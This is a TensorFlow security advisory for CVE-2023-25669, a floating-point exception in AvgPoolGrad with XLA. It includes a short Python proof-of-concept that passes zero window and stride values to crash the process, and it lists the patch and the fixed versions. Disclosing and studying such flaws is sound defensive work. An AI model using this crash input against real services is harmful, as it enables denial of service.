## TFSA-2023-019: FPE in AvgPoolGrad with XLA

### CVE Number
CVE-2023-25669

### Impact
If the stride and window size are not positive for `tf.raw_ops.AvgPoolGrad`, it can give an FPE.

```python
import tensorflow as tf
import numpy as np

@tf.function(jit_compile=True)
def test():
   y = tf.raw_ops.AvgPoolGrad(orig_input_shape=[1,0,0,0], grad=[[[[0.39117979]]]], ksize=[1,0,0,0], strides=[1,0,0,0], padding="SAME", data_format="NCHW")
   return y

print(test())
```

### Patches
We have patched the issue in GitHub commit [1295ae4dbb52fe06b19733b0257e2340d7b63b8d](https://github.com/tensorflow/tensorflow/commit/1295ae4dbb52fe06b19733b0257e2340d7b63b8d).

The fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.


### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.


### Attribution
This vulnerability has been reported by r3pwnx of 360 AIVul Team
